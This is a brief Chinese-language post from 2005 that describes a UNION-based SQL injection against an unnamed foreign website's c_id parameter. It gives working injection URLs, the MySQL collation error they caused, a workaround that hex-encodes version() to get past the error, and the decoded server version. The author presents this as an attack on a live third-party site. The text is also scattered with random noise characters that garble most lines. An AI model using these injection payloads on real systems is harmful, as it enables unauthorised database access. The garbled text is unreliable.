本文作者:SuperHei; ?+ S L4 g I! ~+ Y8 T
文章性质:原创 G8 }, N; M5 E) s! n
发布日期:2005-10-18
, D U1 G7 z* l& H6 ?" U6 I6 V测试个国外的站时:/ x! e# [- e3 a/ K, j; T8 l8 x
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
' H6 E% v& {" A+ ~1 y/ n. Q1 y返回错误:( G% _5 S+ t j! h# \, Q
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'# h7 ~1 D& W* Q
MySQL Error No. 126
, ]+ R: c0 B8 D看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
0 n/ v m! i* U8 j1 y5 `解决办法:转为其他编码如hex。
m( Q& _5 L: l5 Y+ U: D% xurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*+ |3 e) G: d3 Y; c) m
成功得到hex(version())的值为:( N' {+ D9 R) D3 x
342E312E332D62657461
4 a5 \5 g4 ^5 ?8 |3 K回Mysql查询下得到:
' H- H. f3 P2 @: u! _0 Gmysql> select 0x342E312E332D62657461;
' i2 g L8 b& ?& U3 Y. j2 w: D% R+------------------------+
8 L5 M9 Z( W- ~ X. V2 s# B| 0x342E312E332D62657461 |4 ^& K) O5 W) k# P+ u3 x
+------------------------+
, _' B3 Y, @& N* \8 v1 y9 l| 4.1.3-beta |
$ Y i W4 l; s7 ~+------------------------+, q. J) k* z7 B. s. v: P
1 row in set (0.00 sec)! @+ q) P W" _& d+ [: `, C
4 h' y# S* Q1 c" |. X
|